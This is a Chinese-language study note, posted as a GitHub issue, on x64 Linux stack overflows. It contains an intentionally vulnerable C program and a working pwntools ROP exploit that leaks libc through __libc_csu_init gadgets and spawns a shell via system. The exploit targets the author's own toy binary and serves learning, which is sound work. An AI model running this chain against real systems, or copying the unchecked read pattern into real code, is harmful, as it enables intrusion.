articles icon indicating copy to clipboard operation
articles copied to clipboard

Linux x64 pwn 学习

Open xinali opened this issue 5 years ago • 0 comments

Linux x64 pwn 学习

新手学习了x86的下的相关pwn,进而学习一下x64环境下的pwn,个人感觉还是很有必要的,完全个人学习,中间遇到很多的各种坑,这里只是简单记录一下

环境

Linux bins-virtual-machine 4.13.0-36-generic #40~16.04.1-Ubuntu SMP Fri Feb 16 23:25:58 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
pwntools
gef

用到的level.c

include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>

void vulnerable_function() {
	char buf[128];
	read(STDIN_FILENO, buf, 512);
}

int main(int argc, char** argv) {
	write(1, "Hello, World\n", 13);
	vulnerable_function();
}

生成可执行文件

gcc -fno-stack-protector -o level5 level.c

生成的文件

➜  ~ file level5
level5: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=57fe0599820f34f5a59a994a24dfbf28e5e82cf5, not stripped

checksec

gef>  checksec
[+] checksec for '/root/level5'
Canary                        : No
NX                            : Yes
PIE                           : No
Fortify                       : No
RelRO                         : Partial

构建gadgets

使用的exp

rom pwn import *
import sys
import os
import time

context.arch = "amd64"
context.terminal = ['tmux', 'splitw', '-h']

class Pwn(object):
    def __init__(self, binary_file=None):
        if binary_file:
            self.binary_file = binary_file
            self.elf = ELF(binary_file)
            self.libc = self.elf.libc
            self.write_plt = self.elf.symbols['write']
            self.write_got = self.elf.got['write']
            self.vul_addr = 0x400566
            self.main = 0x400587

    def get_overflow_position(self):
        io = process(self.binary_file)
        io.recvline()
        io.send(cyclic(150))
        io.recvall()

        if os.path.isfile('./core'):
            core = Core('./core')
            if context.arch == 'amd64':
                self.rip = cyclic_find(core.u32(core.rsp))
            if context.arch == 'i386':
                self.eip = cyclic_find(core.u32(core.eip))
    
    def leak(self):
        pass

    def get_write_got(self):
        """
        stack:
        +----------+
        |  pop_ret |
        +----------+
        |   rbx    | <== 0
        +----------+
        |   rbp    | <== 1
        +----------+
        |   r12    | <== write_got
        +----------+
        |   r13    | <== rdx/arg2
        +----------+
        |   r14    | <== rsi/arg1
        +----------+
        |   r15    | <== rdi/arg0
        +----------+
        """

        self.io = process(self.binary_file)
        self.io.recvline()
        # gdb.attach(self.io, 'b vulnerable_function')

        pop_mul_ret = 0x40061a
        call_addr = 0x400600
        payload1 = 'a' * self.rip
        payload1 += p64(pop_mul_ret) + p64(0) + p64(1) + p64(self.write_got)
        payload1 += p64(8) + p64(self.write_got) + p64(1)
        payload1 += p64(call_addr)
        payload1 += 'a' * 56
        payload1 += p64(self.main)
        self.io.send(payload1)

        self.write_got_addr = self.io.recvn(8)
        print 'Final Recive Data:', self.write_got_addr
        print 'write_got_addr:', hex(u64(self.write_got_addr))

        self.libc.address = u64(self.write_got_addr) - self.libc.symbols['write']
        print 'lib.address:', hex(self.libc.address)


    def get_shell(self):
        """
        stack:
        +-------------+
        | pop_rdi_ret |
        +-------------+
        |    bin_sh   |
        +-------------+
        | system_addr |
        +-------------+
        """
        system_addr = self.libc.symbols['system']
        bin_sh = self.libc.search('sh\x00').next()

        pop_rdi_ret = 0x400623
        payload2 = 'a' * self.rip
        payload2 += p64(pop_rdi_ret) + p64(bin_sh) + p64(system_addr) 
        self.io.send(payload2)
        self.io.interactive()


def main():
    pwn = Pwn('./level5')
    pwn.get_overflow_position()
    pwn.get_write_got()
    pwn.get_shell()


if __name__ == "__main__":
    main()

我的exp是自己的环境和调试的结果,这个和蒸米的有很多的不同,因为用他的payload即使变了自己的地址,也没法使用

结果

1558079468858

这里重点说一下payloadpayload2的构建

payload1构建

正常我是使用ROP模块自动构建的,但是这里由于程序比较小,找不到write写之后平衡栈的汇编代码块,只能自己一步一步构建,这里使用蒸米所说的通用gadgets

函数__libc_csu_init

1558079834515

首先执行1,更改rbx r12 r13 r14 r15,栈类似于这样

 +----------+
 |  pop_ret |
 +----------+
 |   rbx    | <== 0
 +----------+
 |   rbp    | <== 1
 +----------+
 |   r12    | <== write_got
 +----------+
 |   r13    | <== rdx/arg2
 +----------+
 |   r14    | <== rsi/arg1
 +----------+
 |   r15    | <== rdi/arg0
 +----------+

之后通过指令跳转到1执行,执行完1弹出main

payload2构建

通过payload1我们得到了write_got_addr,进而可以得到libc.address,之后再跳转即可执行system('/bin/sh')

其实可以更加简单,直接都利用ROP模块完成

def get_shell(self):    
    bin_sh = self.libc.search('sh\x00').next()
    rop = ROP(self.libc)
    rop.system(bin_sh)
    self.io.send(fit({self.rip: rop.chain()}))
    self.io.interactive()

总结

碰到了很多坑

  1. gdb.attach很有可能会遇到各种失败或者错误,导致无法调试,个人目前的经验主要是由于payload构建不正确,比如数据不够长啊,格式错误等等
  2. 注意和程序的交互,如果完全不考虑交互很容易产生各种不明所以的问题

参考

蒸米:一步一步学ROP之linux_x64篇

xinali avatar May 17 '19 08:05 xinali